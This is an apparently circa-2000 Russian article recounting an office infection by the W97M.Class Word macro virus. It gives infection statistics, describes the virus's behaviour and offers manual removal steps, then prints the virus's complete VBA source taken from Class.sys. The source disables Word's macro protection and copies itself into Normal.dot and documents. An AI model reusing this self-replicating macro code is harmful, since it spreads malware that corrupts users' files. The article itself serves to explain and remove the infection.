Закинул старик невод в синее море
И вытащил макровирус
W97M.Class…

Александр Новожилов

Да, работаешь - работаешь, потом бац - вторая смена. Когда в очередной раз мы попытались записать файл с дискеты на другой компьютер и у нас опять ничего не получилось - все задумались и решили проверить наши компы на заразу. Зараза не заставила себя долго ждать и быстро распространилась.

Результат:  

      ·         7 зараженных компов (по сети, благодаря E-Mail) - все вылечены

·         230 пораженных файлов - восстановлено 227.  

·         Потеряных файлов 3 (я их в сердцах грохнул, а зря)

Краткое описание макровируса W97M.Class

Class.sys - вспомогательный файл к вирусу W97M.Class, "ложится" в корневой каталог C:\ . Текст программы-вируса в конце документа (подозреваю, что часть программы пишется еще в Normal.dot, т.к. в теле программы есть проверка на количество строк в этом шаблоне). Вирус поражает файл Normal.dot (это шаблон Word97 , вирус делает его больше 50 кБ), а также поражает все открываемые документы Word, т.е. файлы с расширением *.doc, причем делает их примерно в 2 раза больше по размеру.
Вирус активизируется после 14 мая и будет Вас "приветствовать" и дальше, 14 числа каждого последующего месяца. Перемешивает строки в документах, выдает сообщение:  

"Я думаю, что' ИМЯ_ПОЛЬЗОВАТЕЛЯ' большой толстый сопляк!" 

после этого заменяет строки, сохраняет документ и закрывает его. В общем делает Вам гадость.

 

Как я боролся с этим вирусом

Нашел я его с помощью программы Dr.Web для Win32 версия 4.05 beta, но вылечить файлы она не смогла, поэтому пришлось мудрить самому. Если открыть зараженный документ и попытаться перейти в редактор VBA, то у Вас ничего не получится (к сожалению).

Во-первых удалите Class.sys в корневом каталоге C:\, во-вторых - вирус не способен сесть в WORD2000, поэтому при открытии документа в WORD2000 Вы получаете сообщение, что макросы не могут быть открыты, обратитесь к документации разработчика и т.д. и т.п. Поэтому все пораженные файлы можно открыть в WORD2000 на другом компьютере, и сохранить в формате Word 6.0, но не в формате !!!Word97!!!, а затем перенести их обратно на пораженный компьютер. При сохранении пораженного документа WORD2000 любезно Вам сообщает, что макросы будут потеряны при форматировании (что и требовалось доказать!!!)

Затем в папке C:\Programm Files\Microsoft Office\Шаблоны замените Normal.dot на настоящий (он обычно имеет размер 32 256 кБ) или вообще удалите Normal.dot, если нечем его заменить. Еще разок проверьте на вирусы Ваши файлы и только после этого продолжайте работать с WORD-ом.

Итак, повторим:    

  1. Удалите Class.sys в корневом каталоге C:\.
  2. Затем в папке C:\Programm Files\Microsoft Office\Шаблоны замените Normal.dot на настоящий (32 256 кБ) или вообще удалите Normal.dot, если нечем его заменить.
  3. Откройте все пораженные файлы в WORD2000 и сохранить в формате Word 6.0, но не в формате !!!Word97!!!.  

Ниже приводится текст файла Class.sys (если убрать все коментарии получится интересная программка), фамилия Ломакин Л.В. в данном случае это ИМЯ_ПОЛЬЗОВАТЕЛЯ

VERSION 1.0 CLASS  

BEGIN

MultiUse = -1  'True

END

Attribute VB_Name = "ThisDocument"

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Sub AutoOpen()

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

On Error GoTo out

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

Options.VirusProtection = False

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

Options.SaveNormalPrompt = False

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

Options.ConfirmConversions = False

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

If nt > 70 And ad > 0 Then GoTo out

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

If nt < 70 Then

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    Set host = NormalTemplate.VBProject.VBComponents.Item(1)

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

End If

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

host.codemodule.AddFromFile ("c:\class.sys")

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

With host.codemodule

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    For x = 1 To 4

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    .deletelines 1

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    Next x

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

End With

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

If nt < 70 Then

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    With host.codemodule

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    .replaceline 1, "Sub AutoClose()"

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    .replaceline 71, "Sub ToolsMacro()"

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    End With

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

End If

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

With host.codemodule

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    For x = 2 To 72 Step 2

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

    Next x

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

End With

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

out:

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

End Sub

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

Sub ViewVBCode()

'Ломакин Л.В.13.04.00 14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш

End Sub

[  1  2  ]